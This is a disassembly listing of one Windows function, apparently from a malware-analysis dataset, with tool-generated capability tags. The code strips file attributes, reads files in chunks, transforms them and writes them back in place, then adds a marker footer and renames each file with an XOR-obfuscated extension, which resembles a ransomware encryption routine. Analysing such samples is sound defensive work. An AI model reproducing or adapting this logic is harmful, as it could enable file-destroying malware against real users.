Function at 0x402574
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3b4
push ebx
push esi
xor eax, eax
mov esi, edx
push edi
mov edi, ecx
mov dword [esp + 0x5c], esi
push esi
mov dword [esp + 0x50], edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
xor eax, eax
inc eax
cmp ebx, 0xffffffff
je 0x4025d7
test al, bl
je 0x4025d7
xor ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4025d7
mov edx, esi
call fcn.00407bba
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x40263b
cmp eax, 0x20
je 0x402606
cmp eax, 0x21
jne 0x402633
mov edx, esi
call fcn.00407bba
mov ecx, esi
call fcn.0040b427
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x48], ebx
cmp ebx, 0xffffffff
jne 0x40263b
push 2
pop eax
jmp 0x4035f3
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x28]
or eax, dword [esp + 0x2c]
jne 0x40265d
push 3
pop eax
mov dword [esp + 0x50], eax
jmp 0x402d1b
push 0xa0
lea ecx, [esp + 0x1cc]
call fcn.00406851
add esp, 4
lea ecx, [esp + 0x18c]
push 0x1e
call fcn.00406851
add esp, 4
lea ecx, [esp + 0x84]
push 0x16
call fcn.00406851
add esp, 4
lea ecx, [esp + 0xcc]
push 0x14
pop eax
push eax
call fcn.00406851
add esp, 4
lea ecx, [esp + 0xe0]
push 0x38
call fcn.00406851
mov edx, dword [esp + 0x30]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x4026e9
jg 0x4026cc
mov ecx, dword [esp + 0x28]
cmp ecx, 0x1e
jbe 0x4026ed
push eax
lea eax, [esp + 0x18]
push eax
push 0x1e
lea eax, [esp + 0x198]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x2c]
xor eax, eax
mov ecx, dword [esp + 0x28]
cmp dword [esp + 0x18c], 0x4034b50
jne 0x402768
cmp edx, eax
jl 0x402768
jg 0x402705
cmp ecx, 0x62
jbe 0x402768
push 2
push eax
push 0xffffffffffffffff
push 0xffffffffffffff9e
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x38
lea eax, [esp + 0xec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xd8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
cmp dword [esp + 0xe0], 0x6064b50
jne 0x4027e4
cmp dword [esp + 0xcc], 0x7064b50
jne 0x4027e4
cmp dword [esp + 0x84], 0x6054b50
jne 0x4027e4
xor eax, eax
cmp dword [esp + 0x114], eax
jl 0x4027e4
mov eax, dword [esp + 0x110]
jg 0x4027aa
cmp eax, 0xa0
jbe 0x4027e4
sub eax, 0xa0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x114]
sbb eax, 0
cmp edx, eax
jl 0x4027e4
jg 0x4027c9
cmp ecx, dword [esp + 0x18]
jbe 0x4027e4
mov eax, dword [esp + 0x110]
sub eax, ecx
mov ecx, dword [esp + 0x114]
push 2
sbb ecx, edx
xor edx, edx
push edx
push ecx
push eax
jmp 0x4027fa
push 2
xor ecx, ecx
xorps xmm0, xmm0
push ecx
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 1
xor eax, eax
push eax
push 0xffffffffffffffff
push 0xffffff60
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0xa0
lea eax, [esp + 0x1d4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x260], 0x57ea6b66
jne 0x402851
cmp dword [esp + 0x264], 0x6616be1a
jne 0x402851
push 4
jmp 0x402653
push 0xa0
lea ecx, [esp + 0x1cc]
call fcn.00406851
add esp, 4
mov edi, 0x418e98
mov edx, edi
push 0x20
call fcn.00406872
pop ecx
push 0x20
mov edx, 0x418eb8
lea ecx, [esp + 0x1ec]
call fcn.00406872
pop ecx
push 0x20
mov edx, 0x418ed8
lea ecx, [esp + 0x20c]
call fcn.00406872
pop ecx
lea edx, [esp + 0x2c8]
call fcn.00408a5c
push 0x4011f8
lea edx, [esp + 0x2cc]
lea ecx, [esp + 0x22c]
call fcn.00404ea3
pop ecx
push edi
lea edx, [esp + 0x2cc]
lea ecx, [esp + 0x26c]
call fcn.00404ea3
pop ecx
lea eax, [esp + 0x288]
push eax
lea ecx, [esp + 0x26c]
call fcn.00406153
pop ecx
push 0x40
lea ecx, [esp + 0x2cc]
call fcn.00406851
add esp, 4
lea ecx, [esp + 0x268]
push 0x20
call fcn.00406851
mov ax, word [0x418e55]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x402921
mov dword [esp + 0x18], ecx
jmp 0x402928
movzx eax, ax
mov dword [esp + 0x18], eax
mov edi, dword [esp + 0x2c]
xor eax, eax
push eax
push ecx
push edi
push dword [esp + 0x34]
call fcn.004136e0
xor ecx, ecx
push ecx
push dword [esp + 0x1c]
push edx
push eax
call fcn.00413790
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.004136e0
add eax, 1
mov ecx, edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], ecx
cmp ecx, edx
jg 0x402980
jl 0x402974
cmp eax, 3
jae 0x402980
mov dword [esp + 0x38], 3
mov dword [esp + 0x40], edx
cmp edi, edx
jg 0x40299d
jl 0x402990
cmp dword [esp + 0x28], 0x20000
jae 0x40299d
xor edi, edi
mov dword [esp + 0x58], edx
inc edi
mov dword [esp + 0x54], edi
jmp 0x4029e5
push edx
push 0x20000
push edi
push dword [esp + 0x34]
call fcn.004136e0
mov ecx, edx
mov edi, eax
mov edx, edi
mov dword [esp + 0x54], edi
mov eax, ecx
mov dword [esp + 0x58], ecx
shld eax, edx, 0x11
shl edx, 0x11
cmp dword [esp + 0x2c], eax
jl 0x4029e2
jg 0x4029d2
cmp dword [esp + 0x28], edx
jb 0x4029e2
add edi, 1
push 0
pop eax
adc ecx, eax
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], ecx
xor edi, edi
inc edi
mov ecx, esi
call fcn.0040af78
xor edx, edx
mov ecx, edx
jmp 0x402a15
movzx edx, word [esi + eax*2]
push 0x5c
pop ebx
cmp dx, bx
mov ebx, dword [esp + 0x48]
je 0x402a1b
cmp edx, 0x2f
je 0x402a1b
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x4029f2
jl 0x402a20
cmp eax, edx
ja 0x4029f2
jmp 0x402a20
push 0
add eax, edi
pop edx
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
lea edi, [esi + eax*2]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x7c], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x58]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea eax, [esp + 0x2b0]
push eax
lea edx, [esp + 0x294]
lea ecx, [esp + 0x314]
call fcn.00401f28
mov eax, dword [esp + 0x60]
add esp, 0xc
mov dword [esp + 0x6c], eax
xorps xmm0, xmm0
mov eax, dword [esp + 0x58]
mov dword [esp + 0x70], eax
xor eax, eax
movlpd qword [esp + 0x60], xmm0
cmp dword [esp + 0x2c], eax
jg 0x402da9
jl 0x402aaf
cmp dword [esp + 0x28], 0x40000000
jae 0x402da9
mov esi, dword [esp + 0x38]
lea ecx, [esi*8 + 8]
call fcn.004067f9
mov ecx, eax
xor eax, eax
mov dword [esp + 0x68], ecx
test ecx, ecx
je 0x402d0e
cmp esi, eax
jne 0x402af4
cmp dword [esp + 0x40], eax
jne 0x402af4
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x3c], eax
jmp 0x402d00
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], edi
mov ecx, dword [esp + 0x6c]
mov eax, ecx
mov edx, dword [esp + 0x70]
or eax, edx
je 0x402cfc
xor eax, eax
push eax
push 2
push edx
push ecx
call fcn.004136e0
xorps xmm0, xmm0
mov dword [esp + 0x70], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x6c], eax
movlpd qword [esp + 0x18], xmm0
cmp edi, dword [esp + 0x38]
jne 0x402b4d
cmp edx, dword [esp + 0x40]
je 0x402cfc
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x44], eax
mov dword [esp + 0x60], ecx
cmp eax, dword [esp + 0x58]
jg 0x402ce8
jl 0x402b73
cmp ecx, dword [esp + 0x54]
jae 0x402ce8
mov eax, ecx
or eax, dword [esp + 0x44]
je 0x402bb9
mov ecx, dword [esp + 0x6c]
add ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x70]
adc eax, dword [esp + 0x44]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x44], eax
cmp eax, dword [esp + 0x58]
jl 0x402bbd
jg 0x402ba1
cmp ecx, dword [esp + 0x54]
jb 0x402bbd
mov ecx, dword [esp + 0x54]
mov eax, dword [esp + 0x58]
sub ecx, 1
mov dword [esp + 0x60], ecx
sbb eax, 0
mov dword [esp + 0x44], eax
jmp 0x402bbd
mov eax, dword [esp + 0x44]
xorps xmm0, xmm0
movlpd qword [esp + 0x78], xmm0
test edi, edi
jne 0x402bce
test edx, edx
je 0x402c27
mov ebx, dword [esp + 0x7c]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x78]
mov dword [esp + 0x78], ebx
mov esi, dword [esp + 0x78]
mov ebx, dword [esp + 0x68]
cmp dword [ebx + esi*8], ecx
mov ebx, dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x402c11
mov esi, dword [esp + 0x78]
mov ebx, dword [esp + 0x68]
cmp dword [ebx + esi*8 + 4], eax
mov ebx, dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x402cc6
add dword [esp + 0x78], 1
adc dword [esp + 0x18], 0
cmp dword [esp + 0x78], edi
jne 0x402bde
cmp dword [esp + 0x18], edx
jne 0x402bde
xor edx, edx
push edx
shld eax, ecx, 0x11
push edx
push eax
shl ecx, 0x11
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov edi, dword [esp + 0x4c]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x30c]
call fcn.00401f6e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
mov edi, dword [esp + 0x3c]
mov edx, dword [esp + 0x34]
add edi, 1
mov ebx, dword [esp + 0x68]
mov ecx, dword [esp + 0x60]
push 0
pop eax
adc edx, eax
mov dword [esp + 0x3c], edi
mov eax, dword [esp + 0x68]
mov dword [esp + 0x34], edx
mov dword [eax + edi*8], ecx
mov eax, dword [esp + 0x44]
mov dword [ebx + edi*8 + 4], eax
mov ebx, dword [esp + 0x48]
add ecx, 1
mov dword [esp + 0x60], ecx
adc eax, 0
mov dword [esp + 0x44], eax
cmp edi, dword [esp + 0x38]
jne 0x402b5d
cmp edx, dword [esp + 0x40]
jne 0x402b5d
cmp edi, dword [esp + 0x38]
jne 0x402b0a
cmp edx, dword [esp + 0x40]
jne 0x402b0a
mov ecx, dword [esp + 0x68]
call fcn.0040689e
mov edi, dword [esp + 0x4c]
jmp 0x402eb1
inc eax
mov dword [esp + 0x50], eax
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x5c]
push 0x40
lea ecx, [esp + 0x28c]
call fcn.00406851
add esp, 4
lea ecx, [esp + 0x308]
push 0xb8
call fcn.00406851
add esp, 4
cmp ebx, 0xffffffff
je 0x402d4c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x50]
test ebx, ebx
jne 0x4035f1
cmp byte [0x418e57], bl
jne 0x402d68
cmp byte [0x418e58], bl
je 0x402d8c
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402d8c
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x403597
xor eax, eax
mov ebx, eax
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [edi + 4]
mov ecx, esi
call fcn.0040af78
xor edx, edx
mov ecx, edx
jmp 0x4035b6
mov esi, dword [esp + 0x40]
cmp esi, eax
jl 0x402dc8
mov ecx, 0x1000
jg 0x402dbe
cmp dword [esp + 0x38], ecx
jbe 0x402dc8
mov esi, eax
mov dword [esp + 0x38], ecx
mov dword [esp + 0x40], esi
push eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor ecx, ecx
cmp dword [esp + 0x38], ecx
jne 0x402def
cmp esi, ecx
je 0x402d13
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x3c], eax
push ecx
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402eb1
cmp dword [esp + 0x14], 0
je 0x402eb1
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x30c]
call fcn.00401f6e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
xor ecx, ecx
mov edx, 0x20000
inc ecx
add dword [esp + 0x3c], ecx
push 0
pop eax
adc dword [esp + 0x34], eax
cmp dword [esp + 0x14], edx
jne 0x402eb1
push ecx
push eax
push eax
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [esp + 0x38]
push 0
pop ecx
cmp dword [esp + 0x3c], eax
jne 0x402e09
mov eax, dword [esp + 0x40]
cmp dword [esp + 0x34], eax
jne 0x402e09
xor eax, eax
cmp dword [esp + 0x34], eax
jl 0x402d17
jg 0x402ec9
cmp dword [esp + 0x3c], eax
jbe 0x402d17
push dword [esp + 0x5c]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x418ef8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0x288]
call fcn.00404f27
cmp byte [0x418e57], 0
mov dword [esp + 0x248], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x258], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x25c], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x24c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x250], eax
mov dword [esp + 0x260], 0x57ea6b66
mov dword [esp + 0x264], 0x6616be1a
je 0x403555
mov ebx, dword [0x417d49]
lea esi, [esp + 0x9c]
mov edx, dword [0x415d45]
lea edi, [esp + 0x190]
push 0x2d
pop eax
mov word [esp + 0x9c], ax
xor eax, eax
mov word [esp + 0x9e], ax
mov eax, ebx
neg eax
mov dword [esp + 0xae], edx
push 6
sbb eax, eax
mov dword [esp + 0xa6], 0xffffffff
and eax, 8
mov dword [esp + 0x190], 0x4034b50
mov word [esp + 0xa4], ax
test ebx, ebx
mov eax, dword [0x41977c]
mov dword [esp + 0xaa], eax
mov eax, edx
cmovne eax, ebx
mov dword [esp + 0xae], eax
mov eax, dword [0x415cc1]
mov word [esp + 0xb6], ax
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0xb6], 0x800
test ebx, ebx
mov word [esp + 0x1a8], cx
push 0x2d
cmovne edx, ebx
mov dword [esp + 0xbe], 0xffffffff
or dword [esp + 0xc2], 0xffffffff
lea esi, [esp + 0xb8]
or dword [esp + 0xc6], 0xffffffff
lea edi, [esp + 0x1b2]
or dword [esp + 0xca], 0xffffffff
add eax, 0x1e
add eax, edx
mov dword [esp + 0x1ae], 0x4034b50
mov edx, dword [esp + 0x78]
mov dword [esp + 0x1c], eax
pop eax
push 6
pop ecx
mov word [esp + 0xb4], ax
push 0x14
mov word [esp + 0xce], dx
pop eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
mov word [esp + 0x1c6], ax
xor eax, eax
inc eax
add ecx, 0xa0
mov word [esp + 0x80], ax
push 0x10
pop eax
mov word [esp + 0x82], ax
mov eax, dword [esp + 0x2c]
push 0
pop ebx
adc eax, ebx
mov dword [esp + 0x118], ecx
mov dword [esp + 0x11c], eax
mov dword [esp + 0x124], eax
movzx eax, dx
cdq
mov ebx, edx
mov dword [esp + 0x120], ecx
mov edx, dword [esp + 0x18]
xor ecx, ecx
add edx, eax
adc ecx, ebx
add edx, dword [esp + 0x28]
adc ecx, dword [esp + 0x2c]
add edx, 0xd2
mov dword [esp + 0x70], edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x128], 0x2014b50
push 0x3f
mov dword [esp + 0x54], ecx
lea esi, [esp + 0xa0]
pop ecx
push 6
mov word [esp + 0x130], cx
lea edi, [esp + 0x132]
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3f
xor ecx, ecx
mov dword [esp + 0x14e], edx
pop edx
push 6
mov dword [esp + 0x14a], ecx
lea esi, [esp + 0xb8]
mov dword [esp + 0x152], ecx
lea edi, [esp + 0x160]
mov dword [esp + 0x156], ecx
pop ecx
push 0x14
mov word [esp + 0x15e], dx
xor edx, edx
mov dword [esp + 0x15a], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x74]
mov esi, dword [esp + 0x54]
pop ecx
mov word [esp + 0x174], cx
xor ecx, ecx
mov dword [esp + 0x176], ecx
mov word [esp + 0x17a], cx
mov dword [esp + 0x17c], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x180], ecx
mov ecx, dword [0x415cc1]
add ecx, eax
mov dword [esp + 0xe0], 0x6064b50
push 0
adc edx, ebx
mov dword [esp + 0x70], ecx
mov ebx, ecx
mov dword [esp + 0xe8], 0x2c
pop ecx
push 0x3f
pop eax
add ebx, edi
mov word [esp + 0xec], ax
push 0xa
adc edx, esi
mov dword [esp + 0xec], ecx
add ebx, 0x70
mov dword [esp + 0xf4], ecx
pop eax
adc edx, ecx
mov word [esp + 0xee], ax
push 2
pop eax
mov dword [esp + 0xf4], ecx
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x104], ecx
mov ecx, ebx
mov dword [esp + 0xf8], eax
sub ecx, edi
mov dword [esp + 0x100], eax
mov eax, edx
sbb eax, esi
mov dword [esp + 0x108], ecx
mov dword [esp + 0x10c], eax
xor eax, eax
mov dword [esp + 0x110], edi
mov dword [esp + 0x114], esi
mov dword [esp + 0xcc], 0x7064b50
mov dword [esp + 0xd0], eax
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], edx
push 2
mov edx, dword [esp + 0x78]
xorps xmm0, xmm0
or dword [esp + 0x98], 0xffffffff
sub ebx, edi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
pop ecx
mov dword [esp + 0x88], eax
mov word [esp + 0x98], ax
mov eax, dword [esp + 0x18]
mov dword [esp + 0xdc], ecx
add eax, 0x32
mov word [esp + 0x8c], cx
mov word [esp + 0x8e], cx
movzx ecx, dx
add eax, ecx
movlpd qword [esp + 0x18], xmm0
mov dword [esp + 0x254], eax
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
mov dword [esp + 0x9c], ebx
push dword [esp + 0x24]
mov ebx, dword [esp + 0x58]
push ebx
mov dword [esp + 0x98], 0x6054b50
call esi
mov edi, dword [esp + 0x4c]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x25c]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x198]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x415cc1]
push 0x415cc5
push ebx
call esi
mov eax, dword [0x417d49]
test eax, eax
je 0x403325
xor ecx, ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push 0x417d4d
jmp 0x403338
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x415d45]
push 0x415d49
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1b6]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x74]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x8c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x124]
push eax
push ebx
call esi
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
xor ecx, ecx
cmp ecx, dword [esp + 0x2c]
jl 0x4033de
mov eax, dword [esp + 0x28]
jg 0x4033d7
cmp dword [esp + 0x254], eax
jbe 0x4033de
mov dword [esp + 0x254], eax
push ecx
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1d4]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x134]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x415cc1]
push 0x415cc5
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x162]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x74]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x8c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x124]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x38
lea eax, [esp + 0xec]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xd8]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call esi
mov dword [esp + 0x18], 0x4b
mov eax, dword [esp + 0x18]
xor al, 0x2e
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x18]
inc al
mov byte [esp + 0x1d], al
mov eax, dword [esp + 0x18]
add al, 2
xor al, 0x7a
mov byte [esp + 0x1e], al
mov eax, dword [esp + 0x18]
add al, 3
mov byte [esp + 0x1f], al
mov eax, dword [esp + 0x18]
add al, 4
xor al, 0x69
mov byte [esp + 0x20], al
mov eax, dword [esp + 0x18]
add al, 5
mov byte [esp + 0x21], al
mov eax, dword [esp + 0x18]
add al, 6
xor al, 0x70
mov byte [esp + 0x22], al
mov eax, dword [esp + 0x18]
add al, 7
mov byte [esp + 0x23], al
mov eax, dword [esp + 0x18]
add al, 8
xor ecx, ecx
mov byte [esp + 0x24], al
mov edx, ecx
mov al, byte [esp + 0x1c]
mov byte [esp + 0x25], cl
mov al, byte [esp + edx + 0x1c]
mov ecx, dword [esp + 0x18]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x1c], cl
inc edx
cmp edx, 9
jb 0x403529
xor eax, eax
mov byte [esp + 0x25], al
lea eax, [esp + 0x1c]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x40358c
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1d4]
push eax
push ebx
call esi
xor eax, eax
mov dword [esp + 0x50], eax
jmp 0x402d17
push 2
pop eax
mov ebx, eax
jmp 0x4035f1
push 0x5c
pop edx
cmp word [esi + eax*2], dx
push 0
pop edx
je 0x4035bc
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, edx
jg 0x40359e
jl 0x4035f1
cmp eax, edx
ja 0x40359e
jmp 0x4035f1
xor ecx, ecx
push 0x419780
mov word [esi + eax*2 + 2], cx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [edi + 4]
call fcn.0040ae7c
test eax, eax
jne 0x4035f1
push dword [0x415d45]
mov ecx, dword [edi + 4]
mov edx, 0x415d49
call fcn.0040aeca
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret